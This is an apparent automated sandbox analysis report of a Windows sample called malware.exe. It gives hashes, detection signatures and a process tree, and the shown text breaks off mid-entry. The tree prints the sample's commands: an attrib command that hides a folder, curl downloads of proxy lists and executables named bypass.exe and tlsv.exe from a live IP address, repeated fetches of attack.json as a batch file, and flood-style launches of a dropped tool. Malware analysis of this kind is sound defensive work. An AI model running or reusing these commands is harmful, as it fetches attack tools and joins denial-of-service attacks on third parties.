cb412d2a8460445b7ba2eb34027c6774a08d67944534389a70683bad1127ea17

Analysis

max time kernel
1200s
max time network
1201s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/06/2024, 22:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

malware.exe
Size

91KB
MD5

2e536d2d4086534a1c2d182b6888528a
SHA1

8ec1eee60cdc7875d299e45d2596d875625099e4
SHA256

cb412d2a8460445b7ba2eb34027c6774a08d67944534389a70683bad1127ea17
SHA512

c986e97ce56808aa0c101c7baae050c0ffe2698bcc240c369d5a88e196d05e9e959514eb5deafc28be0c366920391907a512c6983bf1f1ba7fb5591bc6da1e5d
SSDEEP

1536:37fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIf9wNHO3:r7DhdC6kzWypvaQ0FxyNTBf9f

Score

9^/10

discovery

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1432) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Downloads MZ/PE file

Executes dropped EXE 25 IoCs

pid	Process
4164	YzxHTTPs.exe
1512	YzxHTTPs.exe
2372	YzxHTTPs.exe
1340	YzxHTTPs.exe
4616	YzxHTTPs.exe
1220	YzxHTTPs.exe
1880	YzxHTTPs.exe
1600	YzxHTTPs.exe
1500	YzxHTTPs.exe
3232	YzxHTTPs.exe
4432	YzxHTTPs.exe
1396	Process not Found
1028	Process not Found
3568	Process not Found
4412	Process not Found
3196	Process not Found
1452	Process not Found
1720	Process not Found
2408	Process not Found
5068	Process not Found
3572	Process not Found
1184	Process not Found
220	Process not Found
544	Process not Found
2012	Process not Found

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
3944	timeout.exe
2012	timeout.exe
2444	timeout.exe
4344	Process not Found
2496	Process not Found
3244	timeout.exe
2216	timeout.exe
3536	Process not Found
1340	Process not Found
640	timeout.exe
4628	Process not Found
3052	Process not Found
3372	Process not Found
1884	timeout.exe
2120	timeout.exe
4196	Process not Found
1368	Process not Found
2436	timeout.exe
1420	Process not Found
184	Process not Found
3568	timeout.exe
3404	Process not Found
3432	Process not Found
2796	Process not Found
4392	timeout.exe
4960	timeout.exe
1380	timeout.exe
4908	Process not Found
4608	timeout.exe
5020	Process not Found
2412	Process not Found
3708	Process not Found
2104	timeout.exe
1044	timeout.exe
1424	timeout.exe
1956	Process not Found
1816	Process not Found
3524	timeout.exe
1340	Process not Found
1696	Process not Found
4932	Process not Found
4492	Process not Found
5036	Process not Found
1860	Process not Found
212	Process not Found
3036	timeout.exe
3924	timeout.exe
1420	timeout.exe
3672	Process not Found
4916	timeout.exe
4092	timeout.exe
2340	Process not Found
3372	Process not Found
3760	Process not Found
2124	Process not Found
4728	timeout.exe
4948	timeout.exe
4112	timeout.exe
3176	timeout.exe
2864	timeout.exe
4036	timeout.exe
3672	Process not Found
4484	Process not Found
3704	Process not Found

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
4616	YzxHTTPs.exe
4616	YzxHTTPs.exe
1880	YzxHTTPs.exe
1880	YzxHTTPs.exe
1512	YzxHTTPs.exe
1512	YzxHTTPs.exe
1340	YzxHTTPs.exe
1340	YzxHTTPs.exe
1600	YzxHTTPs.exe
1600	YzxHTTPs.exe
1500	YzxHTTPs.exe
1500	YzxHTTPs.exe
1220	YzxHTTPs.exe
1220	YzxHTTPs.exe
2372	YzxHTTPs.exe
2372	YzxHTTPs.exe
4432	YzxHTTPs.exe
4432	YzxHTTPs.exe
3232	YzxHTTPs.exe
3232	YzxHTTPs.exe
1452	Process not Found
1452	Process not Found
1720	Process not Found
1720	Process not Found
5068	Process not Found
5068	Process not Found
1184	Process not Found
1184	Process not Found
3572	Process not Found
3196	Process not Found
3572	Process not Found
3196	Process not Found
2408	Process not Found
2408	Process not Found
544	Process not Found
544	Process not Found
220	Process not Found
220	Process not Found
2012	Process not Found
2012	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 832	2096	malware.exe	82
PID 2096 wrote to memory of 832	2096	malware.exe	82
PID 832 wrote to memory of 4404	832	cmd.exe	83
PID 832 wrote to memory of 4404	832	cmd.exe	83
PID 832 wrote to memory of 1908	832	cmd.exe	84
PID 832 wrote to memory of 1908	832	cmd.exe	84
PID 832 wrote to memory of 2576	832	cmd.exe	88
PID 832 wrote to memory of 2576	832	cmd.exe	88
PID 832 wrote to memory of 216	832	cmd.exe	89
PID 832 wrote to memory of 216	832	cmd.exe	89
PID 832 wrote to memory of 2904	832	cmd.exe	97
PID 832 wrote to memory of 2904	832	cmd.exe	97
PID 832 wrote to memory of 1828	832	cmd.exe	98
PID 832 wrote to memory of 1828	832	cmd.exe	98
PID 832 wrote to memory of 3508	832	cmd.exe	99
PID 832 wrote to memory of 3508	832	cmd.exe	99
PID 832 wrote to memory of 4116	832	cmd.exe	100
PID 832 wrote to memory of 4116	832	cmd.exe	100
PID 832 wrote to memory of 4164	832	cmd.exe	102
PID 832 wrote to memory of 4164	832	cmd.exe	102
PID 4164 wrote to memory of 1512	4164	YzxHTTPs.exe	103
PID 4164 wrote to memory of 1512	4164	YzxHTTPs.exe	103
PID 4164 wrote to memory of 2372	4164	YzxHTTPs.exe	104
PID 4164 wrote to memory of 2372	4164	YzxHTTPs.exe	104
PID 4164 wrote to memory of 1340	4164	YzxHTTPs.exe	105
PID 4164 wrote to memory of 1340	4164	YzxHTTPs.exe	105
PID 4164 wrote to memory of 4616	4164	YzxHTTPs.exe	106
PID 4164 wrote to memory of 4616	4164	YzxHTTPs.exe	106
PID 4164 wrote to memory of 3232	4164	YzxHTTPs.exe	107
PID 4164 wrote to memory of 3232	4164	YzxHTTPs.exe	107
PID 4164 wrote to memory of 1220	4164	YzxHTTPs.exe	108
PID 4164 wrote to memory of 1220	4164	YzxHTTPs.exe	108
PID 4164 wrote to memory of 1880	4164	YzxHTTPs.exe	109
PID 4164 wrote to memory of 1880	4164	YzxHTTPs.exe	109
PID 4164 wrote to memory of 4432	4164	YzxHTTPs.exe	110
PID 4164 wrote to memory of 4432	4164	YzxHTTPs.exe	110
PID 4164 wrote to memory of 1600	4164	YzxHTTPs.exe	111
PID 4164 wrote to memory of 1600	4164	YzxHTTPs.exe	111
PID 4164 wrote to memory of 1500	4164	YzxHTTPs.exe	112
PID 4164 wrote to memory of 1500	4164	YzxHTTPs.exe	112
PID 832 wrote to memory of 1828	832	cmd.exe	113
PID 832 wrote to memory of 1828	832	cmd.exe	113
PID 832 wrote to memory of 1324	832	cmd.exe	114
PID 832 wrote to memory of 1324	832	cmd.exe	114
PID 832 wrote to memory of 4924	832	cmd.exe	189
PID 832 wrote to memory of 4924	832	cmd.exe	189
PID 832 wrote to memory of 2348	832	cmd.exe	116
PID 832 wrote to memory of 2348	832	cmd.exe	116
PID 832 wrote to memory of 3720	832	cmd.exe	191
PID 832 wrote to memory of 3720	832	cmd.exe	191
PID 832 wrote to memory of 1140	832	cmd.exe	118
PID 832 wrote to memory of 1140	832	cmd.exe	118
PID 832 wrote to memory of 3672	832	cmd.exe	119
PID 832 wrote to memory of 3672	832	cmd.exe	119
PID 832 wrote to memory of 4344	832	cmd.exe	120
PID 832 wrote to memory of 4344	832	cmd.exe	120
PID 832 wrote to memory of 4964	832	cmd.exe	121
PID 832 wrote to memory of 4964	832	cmd.exe	121
PID 832 wrote to memory of 5076	832	cmd.exe	196
PID 832 wrote to memory of 5076	832	cmd.exe	196
PID 832 wrote to memory of 2388	832	cmd.exe	123
PID 832 wrote to memory of 2388	832	cmd.exe	123
PID 832 wrote to memory of 3680	832	cmd.exe	124
PID 832 wrote to memory of 3680	832	cmd.exe	124

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\malware.exe
"C:\Users\Admin\AppData\Local\Temp\malware.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\36CF.tmp\36D0.tmp\36D1.bat C:\Users\Admin\AppData\Local\Temp\malware.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\system32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Roaming\hjUZ
    3⤵
    - Views/modifies file attributes
    PID:4404
- - C:\Windows\system32\curl.exe
    curl -s -o ua.txt http://176.96.137.11:4001/download/ua.txt
    3⤵
    PID:1908
- - C:\Windows\system32\curl.exe
    curl -s -o proxy.txt http://176.96.137.11:4001/download/proxy.txt
    3⤵
    PID:2576
- - C:\Windows\system32\curl.exe
    curl -s -o YzxHTTPs.exe http://176.96.137.11:4001/download/bypass.exe
    3⤵
    PID:216
- - C:\Windows\system32\curl.exe
    curl -s -o XaZDFTLSV.exe http://176.96.137.11:4001/download/tlsv.exe
    3⤵
    PID:2904
- - C:\Windows\system32\curl.exe
    curl -s -o AXzTTPSMIX.exe http://176.96.137.11:4001/download/httpsmix.exe
    3⤵
    PID:1828
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3508
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4116
- - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
    YzxHTTPs.exe GET 4 proxy.txt 50 600 10
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1512
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2372
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1340
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4616
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3232
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1220
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1880
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4432
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1600
  - - C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe
      C:\Users\Admin\AppData\Roaming\hjUZ\YzxHTTPs.exe C:\snapshot\x\bypass.js GET 4 proxy.txt 50 600 10
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1500
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1828
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1324
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2348
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3720
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1140
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3672
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4344
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4964
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5076
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2388
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3680
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2820
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3188
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:896
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2532
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:844
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4820
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1060
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1252
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3036
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2656
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:912
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4856
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1640
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4392
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3892
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5100
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3144
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4240
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4840
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1344
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4400
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2452
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3968
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1188
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1816
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2796
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4732
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4468
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4220
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4632
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4728
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1712
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3216
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:220
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5080
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4456
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2100
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3596
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5000
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2612
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:520
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4208
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2616
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3008
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2560
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3704
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1680
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1600
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1288
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2476
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5064
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2604
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3344
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4432
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3316
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4788
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5032
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4724
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3184
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4924
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1360
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3720
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2964
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2064
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4572
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4816
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5076
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4288
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3276
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4300
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3188
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:5012
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4800
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:316
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1924
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:544
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1628
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4476
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4948
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4596
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4560
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2532
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:452
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2072
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:244
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4820
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3972
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4768
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:692
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3036
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3776
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3312
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4296
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3568
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4392
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4088
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4156
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3892
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:5100
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:400
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3732
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2180
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4256
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4312
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:3300
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4400
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:2452
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2900
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1988
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3404
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4080
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1128
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4944
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2816
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4608
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4632
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4728
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4372
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3924
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:2200
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4456
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1508
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4780
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:448
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:4364
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:3524
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:1484
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:1000
- - C:\Windows\system32\timeout.exe
    Timeout /t 1 /nobreak
    3⤵
    PID:836
- - C:\Windows\system32\curl.exe
    curl -s -o iAYY.bat http://176.96.137.11:4003/download/attack.json
    3⤵
    PID:4464
- - C:\Windows\system32\timeout.exe
